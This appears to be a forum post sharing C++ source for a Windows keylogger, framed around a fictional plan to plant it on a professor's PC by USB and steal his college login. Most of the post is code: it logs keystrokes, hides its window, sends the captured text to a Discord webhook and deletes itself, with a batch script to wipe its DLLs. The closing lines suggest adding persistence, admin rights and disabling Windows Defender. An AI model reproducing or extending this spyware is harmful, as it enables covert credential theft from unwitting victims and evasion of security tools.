Windows 10 Keylogger written in C++
FOREWORD
I am a beginner in C/C++ and especially malware development in Windows. So I have made a keylogger for Windows, that is pretty basic, but probably a bit different from others.
Please note that it was written for EDUCATIONAL PURPOSES
The scenario that is mentioned in the blog is fictional
INTRODUCTION
There are various different malware and lots of different projects I could develop. In the end, I was out of ideas and nothing would drive me. There was no use for me to write any projects because I didn’t have motivation, or some sort of reward system in my head. I could write a simple rootkit for Linux, but I wouldn’t use it anywhere - no reward.
I made up this scenario in my head where I had to write malware for a specific target that I want to get data from. So I came up with an idea of a keylogger. What if I had to get into the website of my college? My college professor had logins to the college website where I could send emails, change grades and more. I could own the system. But how?
This exciting plan came to mind. The professor logs in to the website during class. I could bring a USB with some type of malware and plug it in his PC when he’s out of the class, move the executable to some random folder and run it there. The malware then logs all keystrokes for x minutes, after that it returns the keystrokes to my Discord server through a webhook and the executable self-deletes hiding its traces.
DOCUMENTATION
I’m not skilled enough to write code that is functional to send messages to a Discord webhook, although I am skilled enough to find a library that does it for me. I found this library D++, it’s a Discord C++ library and it does everything that I need.
How the keylogger is supposed to work:
- Run silently in background
- Log all keys
- Count time using threads at the same time
- After time expires send all keys to Discord webhook
- Self-delete and hide all traces
using std::thread;
using std::string;
using std::cout;
void countTime(); // counts time
void StealthMode(); // runs in the background
void StartLogging(string&); // logs all keys to a string
void SendKeyz(string); // send keys
void DelMe(); // self-delete
// Defining the functions
Writing functions in a class Functions. No idea what I’m doing, but it works
class Functions {
public:
void DelMe() // function to delete self after running
{
TCHAR szModuleName[MAX_PATH];
TCHAR szCmd[2 * MAX_PATH];
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
GetModuleFileName(NULL, szModuleName, MAX_PATH);
StringCbPrintf(szCmd, 2 * MAX_PATH, "cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q \"%s\"", szModuleName); // cmd.exe ping ... del
CreateProcess(NULL, szCmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
exit(0);
}
void countTime(string& keyz) { // function to count for how much time to run the program
int i = 30; // seconds for how long to run
for(;i=<0;i--){
std::this_thread::sleep_for(std::chrono::seconds(1));
}
SendKeyz(keyz);
DelMe();
}
The self delete function and count time function, please let me know if there’s something that needs changing.
Function that logs all the keys. You can add more keys or remove certain keys that you don’t need. Even logs mouse clicks.
void StartLogging(string& keyz) { // function to log keys
char c;
for (;;) {
for (c = 8; c <= 222; c++) {
if (GetAsyncKeyState(c) == -32767) {
if (((c > 64) && (c < 91)) && !(GetAsyncKeyState(0x10)))
{
c += 32;
keyz += c;
break;
}
else if ((c > 64) && (c < 91))
{
keyz += c;
break;
}
else {
switch (c)
{
case 48:
{
if (GetAsyncKeyState(0x10))
keyz += ")";
else
keyz += "0";
}
break;
case 49:
{
if (GetAsyncKeyState(0x10))
keyz += "!";
else
keyz += "1";
}
break;
case 50:
{
if (GetAsyncKeyState(0x10))
keyz += "@";
else
keyz += "2";
}
break;
case 51:
{
if (GetAsyncKeyState(0x10))
keyz += "#";
else
keyz += "3";
}
break;
case 52:
{
if (GetAsyncKeyState(0x10))
keyz += "$";
else
keyz += "4";
}
break;
case 53:
{
if (GetAsyncKeyState(0x10))
keyz += "%";
else
keyz += "5";
}
break;
case 54:
{
if (GetAsyncKeyState(0x10))
keyz += "^";
else
keyz += "6";
}
break;
case 55:
{
if (GetAsyncKeyState(0x10))
keyz += "&";
else
keyz += "7";
}
break;
case 56:
{
if (GetAsyncKeyState(0x10))
keyz += "*";
else
keyz += "8";
}
break;
case 57:
{
if (GetAsyncKeyState(0x10))
keyz += "(";
else
keyz += "9";
}
break;
case VK_SPACE:
keyz += " ";
break;
case VK_RETURN:
keyz += "\n";
break;
case VK_TAB:
keyz += " ";
break;
case VK_BACK:
keyz += " <BACKSPACE> ";
break;
case VK_DELETE:
keyz += " <Del> ";
break;
case VK_NUMPAD0:
keyz += "0";
break;
case VK_NUMPAD1:
keyz += "1";
break;
case VK_NUMPAD2:
keyz += "2";
break;
case VK_NUMPAD3:
keyz += "3";
break;
case VK_NUMPAD4:
keyz += "4";
break;
case VK_NUMPAD5:
keyz += "5";
break;
case VK_NUMPAD6:
keyz += "6";
break;
case VK_NUMPAD7:
keyz += "7";
break;
case VK_NUMPAD8:
keyz += "8";
break;
case VK_NUMPAD9:
keyz += "9";
break;
case VK_LBUTTON:
keyz += " **MOUSE_LEFT** ";
break;
case VK_RBUTTON:
keyz += " **MOUSE RIGHT** ";
break;
case VK_CAPITAL:
keyz += " **CAPS** ";
break;
case VK_SHIFT:
keyz += " **SHIFT** ";
break;
default:
keyz += c;
}
}
}
}
}
}
Function to run in the background and the other one to send keys to the Discord webhook using D++ library.
void StealthMode() { // function to hide window and run in the background
AllocConsole();
HWND stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(stealth, 0);
}
void SendKeyz(string keyz) // function to send logged keys to discord webhook
{
dpp::cluster bot("");
dpp::webhook wh("WEBHOOK"); // replace with your discord webhook. could probably encrypt it or something if someone decides to reverse engineer the malware
bot.execute_webhook(wh, dpp::message(keyz));
}
}
The main function. Using threads, which uses a lot of CPU, but I have ran into issues when not using threads at all.
int main() {
Functions FunctionObject;
string c;
thread t1(&Functions::countTime, &FunctionObject, ref(c));
thread t2(&Functions::StartLogging, &FunctionObject, ref(c));
thread t3(&Functions::StealthMode, &FunctionObject);
t1.detach();
t2.join();
t1.join();
t3.join();
return 0;
}
The whole code:
#include <dpp/dpp.h>
#include <iostream>
#include <winuser.h>
#include <fstream>
#include <string>
#include <chrono>
#include <thread>
#include <windows.h>
#include <strsafe.h>
// You'll need DPP dll file and a few other dll files in the same directory so I made a batch script to delete those as well
/*
timeout 3660 > NUL
del /f dpp.dll && del /f libcrypto-1_1-x64.dll && del /f libsodium.dll
del /f libssl-1_1-x64.dll && del /f opus.dll && del /f zlib1.dll
del /f Srfx.exe
(goto) 2>nul & del "%~f0"
*/
using std::thread;
using std::string;
using std::cout;
void countTime();
void StealthMode();
void StartLogging(string&);
void SendKeyz(string);
void DelMe();
class Functions {
public:
void DelMe() // function to delete self after running
{
TCHAR szModuleName[MAX_PATH];
TCHAR szCmd[2 * MAX_PATH];
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
GetModuleFileName(NULL, szModuleName, MAX_PATH);
StringCbPrintf(szCmd, 2 * MAX_PATH, "cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q \"%s\"", szModuleName); // cmd.exe ping ... del
CreateProcess(NULL, szCmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
exit(0);
}
void countTime(string& keyz) { // function to count for how much time to run the program
int i=30;
for(;i=<0;i--){
std::this_thread::sleep_for(std::chrono::seconds(1));
}
SendKeyz(keyz);
DelMe();
}
void StartLogging(string& keyz) { // function to log keys
char c;
for (;;) {
for (c = 8; c <= 222; c++) {
if (GetAsyncKeyState(c) == -32767) {
if (((c > 64) && (c < 91)) && !(GetAsyncKeyState(0x10)))
{
c += 32;
keyz += c;
break;
}
else if ((c > 64) && (c < 91))
{
keyz += c;
break;
}
else {
switch (c)
{
case 48:
{
if (GetAsyncKeyState(0x10))
keyz += ")";
else
keyz += "0";
}
break;
case 49:
{
if (GetAsyncKeyState(0x10))
keyz += "!";
else
keyz += "1";
}
break;
case 50:
{
if (GetAsyncKeyState(0x10))
keyz += "@";
else
keyz += "2";
}
break;
case 51:
{
if (GetAsyncKeyState(0x10))
keyz += "#";
else
keyz += "3";
}
break;
case 52:
{
if (GetAsyncKeyState(0x10))
keyz += "$";
else
keyz += "4";
}
break;
case 53:
{
if (GetAsyncKeyState(0x10))
keyz += "%";
else
keyz += "5";
}
break;
case 54:
{
if (GetAsyncKeyState(0x10))
keyz += "^";
else
keyz += "6";
}
break;
case 55:
{
if (GetAsyncKeyState(0x10))
keyz += "&";
else
keyz += "7";
}
break;
case 56:
{
if (GetAsyncKeyState(0x10))
keyz += "*";
else
keyz += "8";
}
break;
case 57:
{
if (GetAsyncKeyState(0x10))
keyz += "(";
else
keyz += "9";
}
break;
case VK_SPACE:
keyz += " ";
break;
case VK_RETURN:
keyz += "\n";
break;
case VK_TAB:
keyz += " ";
break;
case VK_BACK:
keyz += " <BACKSPACE> ";
break;
case VK_DELETE:
keyz += " <Del> ";
break;
case VK_NUMPAD0:
keyz += "0";
break;
case VK_NUMPAD1:
keyz += "1";
break;
case VK_NUMPAD2:
keyz += "2";
break;
case VK_NUMPAD3:
keyz += "3";
break;
case VK_NUMPAD4:
keyz += "4";
break;
case VK_NUMPAD5:
keyz += "5";
break;
case VK_NUMPAD6:
keyz += "6";
break;
case VK_NUMPAD7:
keyz += "7";
break;
case VK_NUMPAD8:
keyz += "8";
break;
case VK_NUMPAD9:
keyz += "9";
break;
case VK_LBUTTON:
keyz += " **MOUSE_LEFT** ";
break;
case VK_RBUTTON:
keyz += " **MOUSE RIGHT** ";
break;
case VK_CAPITAL:
keyz += " **CAPS** ";
break;
case VK_SHIFT:
keyz += " **SHIFT** ";
break;
default:
keyz += c;
}
}
}
}
}
}
void StealthMode() { // function to hide window and run in the background
AllocConsole();
HWND stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(stealth, 0);
}
void SendKeyz(string keyz) // function to send logged keys to discord webhook
{
dpp::cluster bot("");
dpp::webhook wh("WEBHOOK");
bot.execute_webhook(wh, dpp::message(keyz));
}
};
int main() {
Functions FunctionObject;
string c;
thread t1(&Functions::countTime, &FunctionObject, ref(c));
thread t2(&Functions::StartLogging, &FunctionObject, ref(c));
thread t3(&Functions::StealthMode, &FunctionObject);
t1.detach();
t2.join();
t1.join();
t3.join();
return 0;
}
You could add other features like adding it to startup or gaining admin privs and disabling windows defender, although last time I checked this was undetectable.
That’s the end of this thread. This is my first post, so let me know if there’s something wrong with it. Feel free to leave a like if you found this useful and let me know if there are any bugs that I’m not aware of.
Full Code